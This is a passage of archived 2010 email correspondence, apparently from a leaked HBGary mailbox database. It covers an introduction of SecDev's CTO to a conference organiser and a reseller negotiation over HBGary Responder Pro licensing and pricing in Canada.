wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWorld\r\nExchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n45\r\nO\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOttawa,\r\nOntario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1\r\n(613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate:&nbsp;May 14, 2010\r\n11:14:20 AM EDT\r\nTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject:&nbsp;Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott,\r\nLet me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most\r\nrecently they have put together and presented some very interesting findings on\r\nthe cyber attacks against the office of the Dali Lama (ghostnet) and some\r\nbroader related attacks (shadownet). &nbsp;Their investigative techniques are\r\nthorough and would likely provide some good information to the group at the\r\nREBL conference.\r\n\r\nNart,\r\nScott managed the Blue Team at NSA and is putting together this years\r\nconference. &nbsp;He is looking for some interesting speakers concerning\r\nmalware, malware analysis, threats, integration of capabilities, etc. &nbsp;I\r\nmentioned to him I thought your talk would be appropriate and engaging.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary-VAR Agrmt (6-08)1\r\n(3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder\r\npro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware\r\nReport_FINAL_FINAL.pdf&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9488,'aaron_hbgary_com/9488.html'),(6937,'2010-06-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005028.M885880P14101Q1792.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Introduction','Sent from my iPadBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: June 2, 2010 2:45:08 PM EDTTo: &quot;&#39;Arnav Manchanda&#39;&quot; &lt;a.manchanda@secdev.ca&gt;, &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;\r\nCc: &quot;&#39;Rafal Rohozinski&#39;&quot; &lt;r.rohozinski@secdev.ca&gt;Subject: RE: Introduction\r\n\r\n\r\n\r\n\r\nSo, in order to “create” an integration you would need access to\r\nan SDK and an engineer.  I do not know what Aaron gave you up this would be\r\nrequired.  \r\n\r\n \r\n\r\nWith regards to the “loss leader”, I’m confused.  Are you asking\r\nfor the product for free?  Responder Pro is a required purchase, we do not\r\nprovide this for free to anyone.  The product saves considerable time over any\r\nother solution.  We have clients that you can talk to, it’s a 75% savings of\r\ntime, which makes you more productive.  Active Defense is what is used in\r\nengagements to detect malware, the analysis is done by Responder Pro.   Not\r\nsure what you are looking for\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Wednesday, June 02, 2010 8:28 AM\r\nTo: Penny Leavy-Hoglund; Aaron Barr\r\nCc: Rafal Rohozinski\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Aaron, Penny,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHope all is well and that you had a relaxing Memorial Day\r\nweekend.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI wanted to follow-up with you regarding Penny&#39;s email below\r\non pricing HBGary products for SecDev. To consolidate our previous discussions\r\nand to avoid confusion, we (SecDev) envision two aspects to the relationship\r\nwith HBGary: 1) using HBGary products in our investigative/commercial work, and\r\n2) developing HBGary integration with Palantir as part of a suite of cyber\r\nsecurity capabilities.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAs such, we would require the appropriate license for use in\r\nboth tasks.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFor the commercial work, we believe it would be best to\r\ndeploy HBGary as a loss leader for the initial few clients--we have some\r\nupcoming opportunities where this could be the case. In return, we anticipate\r\nthat this would create a significant market for HBGary products and services in\r\nCanada. We are also hoping to write up case studies of these cases, and would\r\nmake it clear that HBGary was critical to our work. We work this way with\r\nPalantir--it&#39;s a loss leader, but it has created considerable interest and\r\ndemand for Palantir in Canada which we are now capitalizing on. Of course, such\r\nan arrangement with HBGary would not be in perpetuity, instead we would work\r\nthis way for an an initial 10-12 months while we get things off the ground, and\r\nthen move to a regular commercial arrangement where we buy the product and pass\r\nthe cost to the client.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAlso, as mentioned above we would need a license for use\r\nin-house for the integration work - I believe the license you gave Nart would\r\nbe appropriate for this, but I could be wrong. Needless to say, this\r\nintegration work will only improve both HBGary and SecDev&#39;s product offerings\r\nand expand our client bases.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI look forward to your thoughts.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-01, at 5:54 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, here is the long and short\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n1.       Yes you can buy Responder Pro\r\nas a perpetual license.  It’s $10,200 and $2040 per year in\r\nmaintenance.   The consulting copy is $7500 per year but since you\r\nare a partner, you can buy the perpetual.  It comes with one copy of\r\nFastDump Pro.  Additional copies of FastDump Pro are $100 per copy. \r\nDigital DNA is a separate component and it is $2000 per year.  It only\r\nworks with Responder Pro, it does not work with Field Edition.  . \r\nYou would receive a reseller discount off the product pricing.\r\n\r\n\r\n\r\n\r\n\r\n2.       We also have CLiP pricing for\r\nconsultants.  This is a “timed license” of Active Defense, or DDNA for ePO\r\nor DDNA for Encase.  This allows you to use scan 1000’s of machines at\r\nonce.  Some companies like to use it as a “healthcheck”.  This is\r\nkind of like a “pen test” where it’s a two week license and you scan X amount\r\nof nodes.  Pricing starts at $5 per node.  This way, instead of\r\nlooking at 15 machines, you can take a percentage of a company and see their\r\nthreat profile.   We also have an engagement license which typically\r\ngoes for 8 weeks and this again is based per node and is timed.  This\r\nallows you to further look into an organization and let them know what is going\r\non.  May seem like a lot upfront, but basically once you get a handle on\r\nthe machines, what is in there etc, you can work with them to then do\r\nremediation management.  Where you offer a service that checks weekly\r\n(like a managed service) what is going on.  8 Week licenses start at $10\r\nper node.  If they want managed service we do this on a case by case\r\nbasis. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Tuesday, June 01,\r\n2010 1:07 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: &#39;Aaron Barr&#39;\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHi Penny,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe have a job upcoming for a client that requires the use of\r\nFast Dump/Responder Pro across multiple machines (~15). What would be the price\r\nfor us if we bought that product outright and use it for this and future jobs,\r\nvs. what would be the per engagement license cost/how would it work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe license we currently have is a trial/eval one.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for this information.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure you can modify agreement.  With regards to products\r\nbeing used for consulting services, you should purchase a copy to do\r\nthat.  I’m assuming you have Responder Pro.  We also have AD licenses\r\ndesigned for consultants so that you can charge per engagement fees to customers\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Monday, May 31, 2010\r\n5:34 AM\r\nTo: Arnav Manchanda\r\nCc: Penny Leavy-Hoglund;\r\n&#39;Aaron Barr&#39;\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Penny, Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am writing to follow up on the email below regarding\r\nmarketing both HBGary products and services in Canada, and to modify the\r\nreseller agreement that you sent me as required.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron: I also wanted to clarify whether we could use the\r\nlicense that you gave Nart for our own commercial work, and what the modalities\r\nwould be on that. We have a job coming up that would require HBGary product\r\ndeployment, so I wanted to ensure that we have the right commercial agreement\r\nin place on that end.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Penny,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am writing to follow-up on the reseller agreement that you\r\nsent - it looks fine from the standpoint of reselling HB Gary&#39;s products in\r\nCanada.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn terms of reselling the package of HBGary services in\r\nCanada, could we somehow incorporate that into this agreement, or would you\r\nprefer this to be on a case by case basis? I had a conversation with Aaron on\r\nThursday regarding reselling services and how the agreement could be to split\r\nthe margin 2/3 - 1/3 between HBGary and SecDev. This would also address the\r\nintegration that HBGary is working on with Fidelis/Endgame.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo let me know your thoughts on this.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Thursday, May 20,\r\n2010 12:13 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: &#39;Aaron Barr&#39;\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Penny, will have a look and get back to you by early\r\nnext week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is our standard reseller form.  Here are\r\ndatasheets and two white papers.  We are releasing a new white paper at\r\nCEIC, so I’ll send that to you once it’s out. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Wednesday, May 19,\r\n2010 4:18 AM\r\nTo: Aaron Barr\r\nCc: Penny Leavy\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#39;m free to talk today, between 10 and 1pm EST and 4-5 EST.\r\nGive me a shout whenever&#39;s best 613-755-4007\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure.  Cc&#39;d is the president of HBGary Inc.  They\r\nbuild and manage the product.  Penny will get you the reseller agreement.\r\n We use the HBGary products as our foundation for enterprise incident\r\nresponse engagements.  I will send you some information on this.  Can\r\nwe talk briefly tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for this. It was good to speak to you on Friday.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to receiving a reseller agreement/other\r\nmaterials that we can go through.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n 